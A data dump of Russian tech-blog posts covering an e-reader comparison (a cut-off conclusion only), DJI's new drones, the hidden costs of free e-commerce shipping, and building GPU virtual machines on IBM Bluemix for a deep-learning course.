Раз уж я изначально задал «табличный» тон этому повествованию, то давайте и подведение итогов начнём с таблицы. Оценим достоинства PocketBook 631 Touch HD и Kindle Paperwhite 2015:
В целом, я могу констатировать, что PocketBook 631 Touch HD и Kindle Paperwhite 2015 – это просто устройства разных классов, в плане возможностей между ними если и не пропасть, то овраг. Модель PocketBook умеет очень много, модель Kindle – куда меньше, плюс у неё есть ряд конструктивных недостатков (нет кнопок, экран чуток «зеленит», подсветка не отключается). При этом разница в цене, на мой взгляд, несоразмерна разнице в возможностях. Модель PocketBook стоит на 2-3 тысячи рублей дороже «Киндла» (в зависимости от способа покупки – см. таблицу), тогда как справедливая разница в цене, учитывая куда более широкие возможности «Покета», должна составлять тысяч 5-6. Тут на ум приходит модель Kindle Paperwhite 2015 with Special Offer с отображением рекламы, её можно купить за 8-9 тысяч рублей. Вот в этом случае разница в цене более-менее справедлива – Kindle получается действительно дешевле настолько, насколько отстаёт от PocketBook по возможностям. В этом, собственно, и весь вывод: если вам нужно устройство с хорошей эргономикой и на все случаи жизни, то стоит переплачивать и брать PocketBook 631 Touch HD. Если вы непритязательный пользователь и не ждёте от устройства многого, то можно смело заказывать Kindle. Только лучше с рекламой – модель без неё своих денег не стоит. | https://geektimes.ru/company/pocketbook/blog/283746/ |
habrahabr | Новинки DJI в Москве: Inspire 2 и Phantom 4 Pro | ['DJI', 'DJI Phantom4 PRO', 'DJI Inspire 2'] | С каждым днем мы все ближе и ближе к пелевенской Хеннелоре.
В среду 14 декабря в Москве широкой публике были представлены сразу 2 новинки — DJI Inspire 2 и DJI Phantom 4 PRO — оба аппарата... | С каждым днем мы все ближе и ближе к пелевенской Хеннелоре.
В среду 14 декабря в Москве широкой публике были представлены сразу 2 новинки — DJI Inspire 2 и DJI Phantom 4 PRO — оба аппарата являются новыми моделями, рассчитанными на профессиональных операторов и продвинутых любителей. Оценить новые модели были приглашены все желающие — поклонники бренда, любители аэрофотосъемки и просто фотографы, а также профессионалы, для кого аэрофото- и видеосъемка стали за последние несколько лет основным способом заработка и самовыражения. DJI Phantom4 PRO
Первой, пожалуй, наиболее доступной, массовой и оттого близкой бОльшему количеству потенциальных покупателей стал DJI Phantom4 PRO , который в целом во многом похож на предшественника, однако в реальности заметно переработан.
Небольшой коптер удобен для съемки экстремальных видов спорта и вообще для всех, кому нужна мобильность и высокое качество одновременно. О новых функциях и изменениях, а также об особенностях спортивных съемок нам рассказал Кирилл Умрихин.
Кроме немного измененного корпуса и силовой установки с новым аккумулятором, обеспечивающей до 30 минут полета — здесь имеется значительно расширенная система предотвращения столкновений.
Теперь камеры расположены не только спереди и снизу, но также и сзади, что дает возможность делать безопасные отлеты назад и использовать новые интеллектуальные режимы полетов, а боковые ИК сенсоры призваны еще больше облегчить полеты в помещении.
Серьезной переработке подверглась и камера, получив матрицу «взрослого» формата — 1″, что значительно снизило шумы и позволило снимать в сумерках и даже ночью, что ранее было возможно только c камерой DJI X5 и квадрокоптером DJI Inspire 1.
1″ 20мпикс CMOS матрица в 4 раза больше, чем матрицы предыдущих моделей. Большего размера сенсоры способны принять намного больше информации, расширяя динамический диапазон и соотношение сигнал/шум, а также возможность снимать в условиях низкой освещенности. 1-дюймовая 20 мпикс матрица в 4 раза больше, чем стандартная матрица Phantom 4 c сенсором 1/2,3″, используя пиксели бОльшего размера стало возможным получить чувствительность до 12800ISO
Кроме того, камера получила механический затвор и диафрагму, позволяющую обойтись без нейтральных фильтров.
Разрешение линз и контраст линз — основные факторы, влияющие на качество изображения. Именно качество линз влияет на резкость, насыщенность и разрешение фотографий на высоком разрешении. Новейшая камера Phantom 4 Pro оптимизирована для аэрофотосъемки, имеет диафрагму F/2,8 c фокусным расстоянием 24мм (в 35мм экв). Объектив включает в себя 9 элементов в 7 круппах, включая 2 асферических линзы, помещенный в более компактный корпус. Изображение стало более детализированным, с меньшим искажением и размытием, а фотографии и видео более разкие и насыщенные. Первый раз за все время DJI раскрывает схему строения объектива, чтобы дать людям возможность лучше понять качество объектива. Оптимизированная съемка 4K
Оптимизированная съемка 4K и система обработки видео позволяет Вам снимать видео кино качество в разрешении 4K (4096 x 2160/60fps) c битрейтом до 100мбит, позволяя снимать замедленное видео с высочайшим разрешением. Phantom 4 Pro поддерживает кодек H.265 (макс разрешение 4096X2160/30fps). При таком битрейте H.265 способен дать качество в 2 раза выше в сравнении с H.264. Запись с широким динамическим диапазоном в D-log даст максимальное количество данных для последующей цветокоррекции. DJI Inspire 2
Вторая новинка, давно ожидаемая профессиональным сообществом — полностью новый DJI Inspire 2 , доехавший пока только в виде предсерийного демо образца. Для презентации этого профессионального инструмента мы пригласили оператора с огромным стажем (более 2500 вылетов на DJI Inspire 1/Pro) — Руслана Прохорова.
Официальный старт продаж намечен несколько позже. Но уже в демо версии мы имели возможность оценить увеличенное время полета — теперь оно может достигать 27 минут (с камерой X4S), значительно более стабильную передачу видео в реальном времени, что делает его подходящим для прямых трансляций. Не менее значимым стало появление подогрева аккумуляторов — функции крайне актуальной для нашей страны.
Теперь официально квадрокоптер можно эксплуатировать при температурах до -20С. И на высотах до 5000м. Вообще весь Inspire 2 состоит из нововведений. Наконец появилась долгожданная полетная камера для пилота с 2-х осевой стабилизацией.
Теперь не нужно гадать куда же все таки ориентирован коптер, расширены и «умные режимы» полета. Немаловажной новой функцией стала возможность автоматического доворота всего коптера, когда подвес достигает ограничителя.
Таким образом кадр не придется прерывать и делать второй дубль. Новая версия получила и новые камеры. К сожалению, серия X5 не совместима с данным коптером, но, благодаря этому удалось полностью переработать систему обработки и записи видео.
Теперь вся электроника находится в «теле» квадрокоптера, не создавая лишних помех на матрицу. SSD диск и SD карта также устанавливаются в коптер. Камеры стали легче. X4s дает максимальное время полета, а X5S — максимальное разрешение в 5.2K.
Интегрированная в DJI Inspire 2 новая система обработки CineCore 2.0 поддерживает съемку и запись 5.2K видео в Adobe CinemaDNG, Apple ProRes и других.
CineCore 2.0 встроен в переднюю часть коптера и работает с любой камерой, совместимой с портом подвеса (на данный момент X4s и X5S).
В ходе презентации любой желающий смог задать вопросы как по технической части, так и по новым функциям, а также убедиться, что теперь для управления квадрокоптером не нужно быть конструктором или специалистом. Поразительную стабильность полета показал уже известный многим DJI Mavic PRO (на прошлой презентации не было возможности убедиться в этом на улице).
Новинка — DJI Inspire 2, не только летала и показывала себя в действии, но и обеспечивала прямую бесперебойную трансляцию в Youtube через HDMI выход пульта пилота.
Phantom 4 Pro продемонстрировал работу задних датчиков, предотвращающих столкновение — в месте, где проводились полеты была возможность убедиться не только в том, что он остановится перед кирпичной стеной, но и попробовать проделать то же самое со стеклом.
Освоить технику управления вполне возможно за пару часов. Посетители смогли не только поучаствовать в обсуждениях, но и попробовать себя в управлении под руководством специалистов. Фотки с презентации | https://geektimes.ru/company/makeitlab/blog/283736/ |
habrahabr | Бесплатной доставки не бывает | ['доставка', 'интернет-магазины', 'бесплатная доставка'] |
Покупая что-либо в онлайне, вы довольно быстро столкнётесь с обманом.
Потратьте $15-$20, и ваша доставка будет бесплатной. Воспользуйтесь конкурирующими праздничными предложениями,... |
Покупая что-либо в онлайне, вы довольно быстро столкнётесь с обманом.
Потратьте $15-$20, и ваша доставка будет бесплатной. Воспользуйтесь конкурирующими праздничными предложениями, обещающими бесплатно доставить любой предмет, без всякой минимальной суммы покупки. Подпишитесь на Amazon Prime, стоящий $99 в год в США, и получайте бесплатную доставку миллионов товаров.
Правда, однако, в том, что бесплатная доставка, как и всё остальное, на самом деле не бесплатна.
Последствия этой лжи мы, пользователи, привыкшие ожидать бесплатной доставки, ощущаем на себе не часто. Сильнее всего это ударяет по электронной коммерции, по небольшим компаниям, сталкивающимся с тем, что стоимость «бесплатной» доставки для них оказывается неподъёмной.
У иных онлайн-магазинов стоимость доставки закладывается в цены предметов или же покрывается инвесторами. Джерри Сторч [Jerry Storch], гендиректор Hudson’s Bay Company, имеющей реальные магазины, включающие канадский The Bay, Lord & Taylor и Saks Fifth Avenue, говорят, что доставка до двери обходится им сильно дороже, чем торговля в обычных магазинах. Для продавцов доставка становится главной статьёй расходов.
«Экономика понятна,- пояснял Сторч на конференции интернет-торговли Shoptalk в Лас-Вегасе этой весной. – Стоимость цепочки поставок для домашней доставки в три раза превышает модель продаж в магазине. И как же тогда интернет-магазины могут ставить меньшую цену? Может, из-за этого многим из нас так сложно эмулировать модель Amazon и зарабатывать на этом. Потому что она очень дорогая, и потому что Amazon с трудом зарабатывает на продажах. Это очень дорогая модель, и она не дешевле модели работы обычных магазинов».
Стоимость «бесплатной» доставки особо обременительна для маленьких магазинчиков, но она влияет и на Amazon или Target, двух гигантов, ответственных за популяризацию тренда. Обычно Amazon возвращает около 55% трат на доставку, и эта цифра подверглась пристальному изучению после того, как её доход в третьем квартале резко разошёлся с ожиданиями . Из-за расширения сервиса Prime и других предложений, в третьем квартале расходы на доставку – разница между оплатой доставки курьерским службам и полученными от пользователей деньгами в счёт оплаты доставок и членства в Prime – составили $1,75 млрд, и это исторически самая большая цифра , не считая праздничных кварталов.
Перед лицом роста расходов на доставку, Amazon создаёт собственную службу доставки и ненавязчиво подталкивает пользователей Prime к покупкам в сервисах типа Prime Pantry , с оплатой доставки. В феврале подняла минимальную сумму заказа для бесплатной доставки в США с $35 до $49, а в прошлом месяце повторила этот скачок в Канаде. Ранее Target уведомил пользователей с кредитками, что для некоторых позиций им придётся дополнительно оплачивать обработку заказов .
Среднего потребителя не интересует цепочка поставок, когда они покупают занавеску для душа или Bluetooth-динамики. Даже если стоимость доставки включена в цены товаров или членство, пользователи предпочитают делать покупки без дополнительных трат. Согласно опросу 2016 года, проведённому Walker Sands, бесплатная доставка – главный аргумент в пользу частых покупок . 88% пользователей сказали, что бесплатная доставка привлекает их больше, чем лёгкость возврата или доставка в день заказа.
Поэтому многие онлайн-магазины предлагают акции типа " дня бесплатной доставки " 16 декабря для поднятия праздничных продаж, и поэтому Best Buy и Target объявили, что предложат бесплатную доставку для многих онлайн-покупок до рождества.
Но кто-то всё же должен оплачивать стоимость доставки. Если инвесторы или пользователи этого не делают, компании будут терять деньги на каждой доставке. Если вас ожидает новый раунд инвестиций, это можно пережить. Но иначе такая ситуация выбросит с рынка компанию, особенно мелкую.
Бесплатные доставки повинны в самых ярких случаях банкротства компаний во времена бума доткомов в 90-х. Pets.com, чья реклама до сих пор записана на подкорке некоторых читателей определённого возраста, предлагала бесплатную для покупателей доставку собачьей еды, у которой была довольно высокая реальная стоимость перевозки. В книжке " Thinking Inside The Box " автор Кирк Чейфиц [Kirk Cheyfitz] объяснил, как небольшая маржа, вызванная бесплатной доставкой, потопила Pets.com.
В эпоху кнопок Amazon Dash, покупок со смартфонов и таких новых ниш, как матрасы на заказ или упаковки по подписке [subscription boxes – повторяющаяся с определённым периодом доставка товаров, упакованных в красивую коробку, призванную увеличить стоимость товаров в глазах покупателя – прим. перев.], мелкие и средние онлайн-компании тщательно думают над тем, как для их бизнеса работает – или не работает – бесплатная доставка. Логистика, логистика, логистика
Кристиан вон Рикенбах [Kristian von Rickenbach] – сооснователь Helix Sleep , онлайн-магазина, продающего матрасы на заказ, и получившего в прошлом году инвестиций на $7,35 млн. Helix работает в очень конкурентной индустрии, где доминирует Casper, и где множество небольших стартапов сражаются за доходы всех клиентов, от студентов колледжей с ограниченным бюджетом до помешанных на удобстве семей из пригородов.
Helix предлагает клиентам бесплатную доставку и бесплатный возврат. У компании, как и у любого конкурента, пытающегося продавать матрасы онлайн, выбора нет. Casper предлагает бесплатную доставку, как и его конкуренты, Tuft and Needle и Leesa .
«Онлайн-покупка матрасов отличается от обычной модели поведения,- рассказал мне вон Рикенбах. – Им нужно получить продукт как можно быстрее, и иметь возможность возврата. Бесплатная доставка более удобна для людей, покупающих онлайн».
Компания повторяет за многими другими – договаривается на «оптовую» стоимость доставки с компаниями типа UPS. Вон Рикенбах рассказал, что стоимость для его компании определяется через количество доставок, размер упаковок и географию адресов. Компания также пытается эффективно упаковывать товары. «Мы потратили довольно много времени на выработку оптимальной упаковки, чтобы она выдерживала доставку и одновременно удовлетворяла ограничениям по размеру для минимизации стоимости доставки», говорит он.
Но вот Рикенбах считает, что для клиентов не нужно выносить стоимость доставки отдельной строкой. «Модель бесплатной доставки, даже если реально потребитель доставку не оплачивает, обычно лучше подходит для потребителя, поскольку компания может более эффективно и прямолинейно работать с правилами доставки». На конкурентном рынке матрасов его целью было не отпугнуть покупателей дополнительными тратами. Бесплатная доставка – «более прозрачное ценообразование для покупателей матрасов, расстроенных скрытыми сборами в розничных магазинах матрасов». Важность ниши
Иные онлайн-магазины всеми силами избегают бесплатной доставки. Как Лора Стивенс писала недавно в статье в Wall Street Journal, небольшие продавцы не выигрывают от экономии на масштабе так, как крупные компании типа Amazon или Walmart.
Джерри Хам [Jerry Hum], гендиректор Touch of Modern , онлайн-магазина мужской моды, говорит, что у него нет бесплатной доставки, но есть чем удивить покупателя: ощущением сообщества. Магазин позиционируется как «сайт с членством», и использует практику частой отправки емейлов для привлечения к домашней странице.
Хам честно признался мне по телефону: для таких компаний, как его собственная (поднявшая $14 млн инвестиций во втором раунде в 2014 году), эффективнее всего соревноваться с большими продавцами путём специализации – в его случае, это ниша мужской моды. Touch of Modern – один из многих магазинов среднего размера. У них большие базы клиентов и довольно большое количество заказов. Если экстраполировать его выручку на февраль 2016 на весь год, получится ежегодная выручка в $100 млн. Но по сравнению с волмартами и амазонами они маленькие.
Как и другие продавцы, Touch of Modern тесно сотрудничает с менеджерами из компаний, занимающихся доставкой, чтобы договариваться об оптовых скидках. Получаемые ими цены открывают одну из наиболее раздражающих черт электронной коммерции и экономии на масштабе доставки: чем больше клиентов притягивает продавец (часто посредством «бесплатной доставки»), тем меньше эти цены становятся.
Для Touch of Modern, доставка и логистика (и то, сколько клиенты платят за доставку) завязаны на маржу и прибыльность.
«Мы относимся к стоимости доставки как к стоимости товаров,- поясняет Хам. – То, что мы делаем, урезает маржу. Но с точки зрения клиента, платят ли они за доставку отдельно, или мы включаем её в цену товара, это мало что меняет. Клиенты не занимаются математикой, а просто смотрят на цену товара». Изменение стоимости доставки путём увеличения количества покупок
Ещё один продавец, JackThreads , занялся дорогостоящим делом: бесплатная доставка и программа возврата " TryOuts ".
JackThreads отправляет клиентам продукцию бесплатно, и если те не возвращают товар, то через семь дней с них списывается его стоимость. В процессе участвуют даже предоплаченная упаковка для возврата, так что покупателям не приходится бегать в поисках картонной коробки для почты.
Компания – новичок в бесплатной доставке, которую они начали предлагать одновременно с TryOuts. Согласно гендиректору Марку Уолкеру [Mark Walker], компания таким образом пытается улучшить впечатление от доставки, куда была включена и гарантированная доставка за семь дней, появившаяся ранее в этом году. Уолкер говорит, что изменения были необходимы для роста компании.
«На решения в плане доставки и запуска TryOuts повлияло то, что если вы занимаетесь скидками или договариваетесь с магазинами, то клиенты ожидают скидки в 50% или 75%,- говорит Уолкер. – И все ждут бесплатной доставки при покупке от $100. Если вы часто отовариваетесь в магазине, вам полагается бесплатная доставка. По-моему клиенты раздражаются, когда они пытаются что-то заказать и видят, что платят за доставку».
В случае с JackThreads внутреннее исследование компании показало, что экономический удар, сделанный бесплатной доставкой и возвратами, будет оправдан дополнительным привлечением бизнеса. «Вы поглощаете стоимость доставки через повторные покупки, но этот разговор плохо умещается в экселевской табличке,- добавляет Уолкер. – Нелегко превратить в цифры количество повторов и приводов других клиентов».
Из разговора с Уолкером мне стал понятен один ключевой момент загадки «бесплатной доставки»: если компании настраивают бесплатную доставку так, что много вещей отправляются или возвращаются в одной и той же упаковке, это приносит продавцу экономическую выгоду.
«Выгода в том, что крупные доставщики определяют ваше место в структуре цен на основании ваших доходов,- говорит Уокер. – Чем больше вы отправляете посылок, тем дешевле для вас отправка одной посылки. Мы работаем с UPS и отправляем гораздо больше посылок, ставших к тому же тяжелее. Поэтому мы тратим больше денег, но получаем лучшую стоимость отправки из-за того, что они стали тяжелее».
JackThreads помогает то, что необходимо любой компании, предлагающей бесплатную доставку: объёмов капитала. Компания разделила раунд финансирования в $54 млн с компанией Thrillist , до того, как они разделились на две компании. Также она состоит в партнёрстве с T-Mobile и запустила в этом году линейку обуви. Выживет ли бесплатная доставка?
Не все приветствуют бесплатную доставку или отказываются от неё. Боб Шварц [Bob Schwartz], ветеран электронной коммерции, более всего известный, как бывший президент Magento и основатель Nordstrom.com в ранние времена онлайн-покупок. Шварц более пессимистичен: тренд бесплатной доставки не может поддерживать себя, и выживает лишь за счёт подпитки гигантских компаний типа Amazon, которые не отчитываются перед инвесторами о прибылях.
Шварц сказал, что он считал бесплатную доставку частью исторического сюжета в электронной коммерции. В начале интернет-магазинов, с конца 90-х до начала 2000-х, венчурные капиталисты финансировали бесплатную доставку. «Мы тратили деньги инвесторов, пытаясь заманить клиентов на рынок, не готовый к этому, и мы приучали клиентов к тому, что доставка должна быть бесплатной».
Так продолжалось до начала взрывного роста онлайн-магазинов за последнее десятилетие, лидером которого с отрывом стал Amazon. «Amazon затягивает всех в свою колею для игры в бесплатную доставку,- пояснил Шварц в телефоном разговоре. – Для меня, Amazon – якорь, принуждающий индустрию к бесплатной доставке, поскольку от него не ждут прибылей. И это затягивает остальных продавцов в ту же колею, при том что от них требуют прибыльности – даже если их нельзя мерить той же меркой».
Для Шварца, наше восприятие бесплатной доставки и будущего электронной коммерции тесно связано с гигантами вроде Amazon.
«Думаю, что происходит следующее – вместо финансирования бесплатной доставки как инвестиционной стратегии, на Уолл Стрит считают, что Amazon – технологическая компания, которая не обязана быть прибыльной. Они финансируют возможность Amazon создавать розничный кризис, в котором они устраняют всех остальных продавцов. Другие продавцы отвечают за каждый квартал, но не Amazon».
Для Amazon инвестиции в доставку и логистику – включая стоимость доставки для членов Prime и для остальных – означает массивные расходы. Только в октябре Amazon открыла пять новых центров обработки заказов, о чём рассказал финансовый директор Брайан Олавски [Brian Olavsky] на встрече по итогам третьего квартала . По его словам, к концу 2016 года Amazon откроет 26 новых центров обработки, в основном в Северной Америке. Для сравнения, в 2015 она открыла 14. Согласно анализу Пайпера Джеффри, примерно 44% населения США живёт в 20 милях от ближайшего центра Amazon, тогда как в 2014 году эта цифра составляла всего 25%. Инвестиции в доставку стоят ощутимых денег, даже для Amazon.
В прошлом году компания, производящая упаковку, Shorr, опубликовала отчёт под названием " эффект Amazon ", ощутимый прирост количества доставок, связанный с Amazon и её клиентами. К примеру, Amazon позволяет клиентам заказывать небольшие дополнительные товары без дополнительной стоимости доставки вдобавок к более дорогим. И хотя эти предметы могут быть мелкими, они сильно увеличивают объёмы доставок, занимают физическое место, и на их доставку из точки А в точку Б тратятся бензин и человеко-часы.
Но Amazon платит огромное количество денег на поддержание этого эффекта. В прошлом году компания потратила на доставки $11,5 млрд, а заработала $6,5 млрд, согласно её отчёту . По последним данным, эта стоимость продолжает расти.
И хотя Amazon объявляет о невероятном росте доходов с доставки на 45%, для любой другой компании такие цифры стали бы проблемой. Но огромный размер компании означает экономию на масштабе, которой нет у большинства её конкурентов, исключая Walmart и Target. Amazon получает прибыль с Amazon Web Services, а также с большой части глобальных транзакций. А обладание огромным количеством данных по поводу предпочтений покупателей означает, что компания знает лучше других, как подходить к таким заманухам, как бесплатная доставка.
У крупных компаний есть ещё одно преимущество в доставке: тесные взаимоотношения с USPS и другими доставщиками. Там, где средний продавец заплатит $7-8 за доставку, Amazon заплатит $4-5, согласно прикидкам от Barclays.
И при росте трат на доставку Amazon находится в поисках новых преимуществ, начинает строить свою инфраструктуру доставки, с флотом грузовых самолётов, грузовиков, а когда-нибудь, и дронов .
Но, возможно, не стоит винить Amazon, Walmart или Target за вовлечение продавцов в гонку бесплатных доставок. Тысячи продавцов предлагают ту или иную форму этой услуги. В результате клиенты привыкли к бесплатной доставке, вне зависимости от того, как она включается в стоимость, и это влияет на те компании, работающие в области электронной коммерции, которые могут достичь успеха в будущем. Бесплатная доставка частично основана на ожиданиях самих компаний, таких, как низкие цены на топливо и растущее желание совершать покупки онлайн. Но если случится резкий рост стоимости топлива или ещё одна рецессия, эти компании могут попасть в очень неудобное положение. Будущее бесплатной доставки
Шварц, как и Сторч, считает, что в бизнесе появятся альтернативные модели, например, самовывоз, или использование почтоматов. Шварц говорит, что ему нравится идея оплаты доставки с бесплатным возвратом.
В сентябре Touch of Modern провела А/Б тестирование бесплатной доставки, предлагая её клиентам, потратившим определённое количество денег. «Мы хотели узнать, что получится, если мы предложим бесплатную доставку с определённой суммы заказа, и найдём ту точку, в которой наша маржа будет такой же», говорит Хам. «Однако мы быстро обнаружили, что бесплатная доставка не работает. Если мы предлагаем бесплатную доставку, то не получается сделать маржу такой же. Более честно предлагать настоящую цену и честно сообщать стоимость доставки».
Честно это, или нет, предложение превышает спрос, и клиенты ищут доставку подешевле. Большие продавцы могут списывать затраты на бесплатную доставку как один из видов расходов. Небольшие компании влезают в долги для конкуренции с большими. Другие могут просто поднимать цены, а затем предлагать «бесплатную доставку».
Как показывает опыт Touch of Modern, онлайн-продавцы в 2016 году вполне могут не брать денег за доставку. Но компании, решившие не предоставлять бесплатную доставку, сталкиваются с задачей убедить клиентов, что плата за доставку выйдет им дешевле. | https://geektimes.ru/post/283778/ |
habrahabr | Как мы запускали программу Deep Learning | ['deep learning', 'gpu', 'microsoft azure', 'ibm bluemix'] | Хабр, привет.
Как вы знаете, для обучения глубоких нейронных сетей оптимально использовать машины с GPU. Наши образовательные программы всегда имеют практический уклон, поэтому для нас было... | Хабр, привет.
Как вы знаете, для обучения глубоких нейронных сетей оптимально использовать машины с GPU. Наши образовательные программы всегда имеют практический уклон, поэтому для нас было обязательно, чтобы во время обучения у каждого участника была своя виртуальная машина с GPU, на которой он мог решать задачи во время занятий, а также лабораторную работу в течение недели. О том, как мы выбирали инфраструктурного партнера для реализации наших планов и подготавливали среду для наших участников, и пойдет речь в нашем посте. Microsoft Azure N-series
Планы запустить образовательную программу по Deep Learning у нас были еще с начала этого года, но к непосредственному дизайну программы мы перешли в августе. Примерно тогда же Microsoft Azure заявил, что на их платформе появились в preview формате GPU-виртуалки . Для нас это было приятной новостью, потому что на нашей основной программе по большим данным Microsoft является инфраструктурным партнером. Была идея не плодить зоопарк, и в конце ноября просто воспользоваться их готовым решением (не preview). В середине ноября стало понятно, что Microsoft не торопится выходить из preview и делать GPU доступными в рамках своей облачной экосистемы. Мы оказались перед фактом, что нужно срочно искать что-то другое. IBM Bluemix
Чуть позже нам удалось довольно оперативно договориться о сотрудничестве в этой области с облачной платформой на базе IBM Bluemix Infrastructure (ранее Softlayer), и компания IBM стала нашим инфраструктурным партнером по этой программе. Увы, без подводных камней не обошлось. Мы первый раз, на ходу, знакомились с возможностями IBM Bluemix. Изначально мы рассчитывали, что получим готовые виртуальные машины с GPU для каждого из участников. Но поскольку на Bluemix GPU доступны только в серверах Bare-metal (выделенные физические серверы), которые можно как конструктор заказать в нужной конфигурации, и получить за несколько часов, то в итоге мы получили мощный физический сервер на платформе Supermicro с двумя процессорами Intel Xeon E5-2690v3, 128 Гб памяти и с двумя карточками NVIDIA Tesla M60 (на каждой карточке по 2 чипа GM204GL поколения Maxwell и 16 Гб видеопамяти), на который мог быть предустановлен гипервизор на выбор (VMware, Xen или Hyper-V), что тоже очень неплохо! Нам оставалось только разбить это шустрое железо на нужное количество виртуалок и все. Только вот мы не планировали этого этапа с самого начала. Вот тут и возникла основная проблема, которую мы решали довольно долго.
Для проведения практических работ участникам нашей программы требовались виртуальные машины с GPU поддерживающими NVIDIA CUDA и ОС на основе GNU/Linux (мы чаще всего используем Ubuntu 14.04 LTS для наших задач, как удобный в эксплуатации и достаточно простой дистрибутив с хорошей поддержкой сообщества). Соответственно, в первую очередь необходимо было выбрать платформу виртуализации, которая поддерживала бы либо “проброс” (passthrough) видеокарт в гостевую Linux систему, либо (что интереснее) поддержку виртуальных GPU для гостевых ОС.
В первую очередь решили рассмотреть VMware Vsphere 6, как одно из лидирующих на этом рынке решений. Благо установка данного гипервизора и все требуемые лицензии доступны прямо из панели управления IBM SoftLayer, то есть установка гипервизора проводится буквально в несколько кликов мыши (не забываем, что мы работаем с выделенным сервером). В VMware заявлена поддержка технологии GRID Virtual GPU (vGPU), то есть имеется возможность разделения одного ядра видеоадаптера на несколько виртуальных и подключения такого GPU к гостевой системе. Достаточно подробно все описывается в соответствующем документе от NVidia. Данная технология по большей части ориентирована на использование в решениях VDI, где требуется ускорение 3D графики для гостевых систем на основе Windows, что в нашем случае не очень подходит. При более подробном изучении документа от NVidia можно узнать, что при использовании vGPU имеется понятие профилей vGPU, то есть по сути того, на сколько vGPU можно разделить одно ядро видеоускорителя. Профиль vGPU задает выделяемое количество видеопамяти, максимальное количество поддерживаемых дисплеев и так далее. Таким образом используя различные профили можно разбить NVidia Tesla M60 на количество виртуальных машин от 1 до 32. Интересно.
НО! Если еще более подробно вчитаться в документ, то можно обнаружить, что поддержка CUDA на гостевых Linux системах доступна только с профилем GRID M60-8Q, что по сути является просто пробросом одного из чипов GPU Tesla M60 (напомним, что Tesla M60 состоит из 2-х чипов) в одну виртуальную машину. В итоге при любом раскладе имея 2 карты Tesla M60 для работы с CUDA можно получить максимум 4 виртуалки для гостевой ОС Linux.
Отдельно стоит упомянуть, что для работы с vGPU требуется дополнительное лицензирование от NVidia ( основы тут ) и чтобы получить драйверы для гипервизора и гостевых систем необходимо эти лицензии получить. Также драйвера в гостевых системах требуют сервера лицензий NVidia, который необходимо установить самостоятельно, и поддерживается только ОС семейства Windows. Помимо этого vGPU поддерживается только на релизе Vsphere 6 Enterprise Plus, который мы как раз и использовали.
В итоге решено отказаться от vGPU и просто “пробросить” видеокарты в гостевые системы, таким образом можно получить 4 виртуальные машины, каждой из которых будет доступен один чип Tesla M60 с 8 Гб видеопамяти. vSphere поддерживает PCI-Passthrough, соответственно, проблем быть не должно, но они появились.
Карточки Tesla были настроены для passthrough в виртуальные машины. На одну из машин добавили PCI устройство, но при запуске машины появлялась ошибка “PCI passthrough device id invalid”, оказалась что данная проблема проявляется только в веб-интерфейсе vSphere, если использовать Windows-клиент и заново добавить устройство, такая проблема не возникает, но появляется другая, более общая, что-то вроде “starting VM … general error”. Немного изучив происхождение ошибки, мы перепробовали различные варианты: Проверили включен ли VT-в
Включен ли IOMMU
Пробовали добавить в .vmx файл:
-firmware=«efi»
-pciPassthru.use64bitMMIO=«TRUE»
-efi.legacyBoot.enabled=«TRUE»
-efi.bootOrder=«legacy»
Но все тщетно. PCI Passthrough у нас не работал. Учитывая что времени было все меньше и меньше, решили прекратить наши изыскания и попробовать Citrix XenServer. Данный гипервизор широко используется для VDI решений. Благо что из панели управления SoftLayer можно одним кликом мыши запустить переустановку гипервизора и выбрать XenServer. Надо отметить что его автоматизированная установка и настройка заняла у платформы Bluemix приличное время (около 8 часов в нашем случае). Так что важно закладывать необходимое время на данную процедуру. Дальше эта история была достаточно скучной, все заработало практически сразу “из коробки”. В данном случае был доступен такой же вариант с Passthrough режимом. Каждый из 4-х чипов GM204GL из двух адаптеров Testa M60 пробросили в отдельную виртуальную машину, настроили виртуальную сеть, установили стандартные драйвера NVidia для Tesla M60 под Linux и все завелось. Для настройки XenServer удобно использовать Citrix XenCenter, вот как выглядят проброшенные видеокарты в его GUI:
Вот так через утилиту nvidia-smi администратору можно наблюдать, что процесс python (участники использовали библиотеки Keras и Caffe) использует большую часть памяти GPU.
В связи со всеми этими внеплановыми изысканиями нарезать работающие как надо виртуалки нам удалось только к последнему из дней нашей программы. В результате неделю ребята занимались на g2.2xlarge инстансах платформы AWS, поскольку мы не могли себе позволить остаться без нужного оборудования, а нарезанные виртуалки IBM Bluemix решили дать участникам еще на неделю после окончания программы в качестве бонуса, чтобы они могли еще порешать задачи, связанные с deep learning. Сравнение AWS и IBM Bluemix
Мы решили сравнить, какое из решений является более эффективным с точки зрения производительности и стоимости содержания парка.
Посчитаем, сколько, например, будут стоить оба варианта при условии использования инфраструктуры в течение двух недель, с 16 участниками. Наш use case не совсем стандартный, потому что мы хотели выдать каждому участнику отдельную виртуалку.
AWS: 0.65$ * 24ч * 15 дней * 16 участников = 3 744$
IBM Bluemix: 2961.1$/мес / 2 (2 недели) * 4 = 5 922.2$ (сервер с 2xM60) ссылка на конфигурацию
Или если взять эквивалент, более близкий к g2.2xlarge:
2096,40 $/мес / 2(2 недели) * 4 = 4192,8$ (сервер с 2хK2 (GK104) GPU — аналог AWS) ссылка на конфигурацию
В нашем варианте разница в деньгах получается существенная — почти 2 тыс. долл. При использовании более современной GPU, но и производительность во втором случае оказывается выше:
AWS: 1gpu, 8cores, 15gb ram (GK 104 на базе GRID K520)
IBM: 1 gpu, 12 cores, 32gb ram (GM 204 на базе М60)
Больше ядер, больше памяти, более современная GPU следующего поколения, да и производительность сама по себе еще выше. Провели небольшой бенчмарк, обучив сеть LeNet , распознающую рукописные цифры, при помощи Caffe на 10 тыс. итераций. На виртуалке AWS это заняло 45.5 секунд, на виртуалке IBM — 26.73 секунды, то есть в 1.7 раз быстрее. На большем промежутке времени это может быть более весомо: 24 часа против 14 часов. Или за две недели это бы дало экономию в 6 дней, которые можно было потратить на обучение чего-то еще.
Коллеги из IBM поделились еще другим сценарием использования — видео стриминг. В AWS использовались те же самые 16 машин g2.2xlarge, а в IBM только один сервер 2хM-60 для гостевых VM Windows. По производительности они были сопоставимы, обслуживая одно и то же количество видеопотоков. За те же самые 2 недели расход в IBM составит — 1 422.72$, что дешевле на более, чем 2 000 долл. конфигурации в AWS. Так что в зависимости от ваших задач, та или иная конфигурация могут быть для вас выгоднее. Также коллеги из IBM намекнули, что могут предоставить более выгодные условия, даже при аренде одного такого сервера, в AWS же скидки применяются автоматически только при значительном потреблении сервисов на десятки тысяч $.
